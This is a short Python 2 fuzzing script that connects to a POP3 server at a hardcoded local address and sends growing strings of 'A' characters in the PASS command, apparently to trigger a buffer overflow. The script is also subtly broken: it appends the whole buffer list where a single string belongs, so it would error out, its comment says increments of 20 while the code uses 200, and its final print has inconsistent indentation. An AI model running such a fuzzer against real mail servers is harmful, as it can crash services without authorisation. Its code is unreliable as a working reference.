#!/usr/bin/python
import struct
import socket

# Create an array of buffers,from 20 to 2000, with increments of 20.
buffer=["A"]
counter=20
while len(buffer) <= 30:
        buffer.append("A"*counter)
        counter=counter+200

# Define the POP commands to be fuzzed
commands=["PASS"]

# Run the fuzzing loop
for command in commands:
        for string in buffer:
                print "Sending the "+command+" command with "+ str(len(string))+"bytes."
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                connect=s.connect(('192.168.0.97',110)) #hardcoded IP address
                s.recv(1024)
                s.send('USER username \r\n') # login procedure
                s.recv(1024)
                s.send('PASS '+ buffer + '\r\n')
                s.recv(1024)
                s.send('QUIT\r\n')
                s.close()
		print "\nDone!"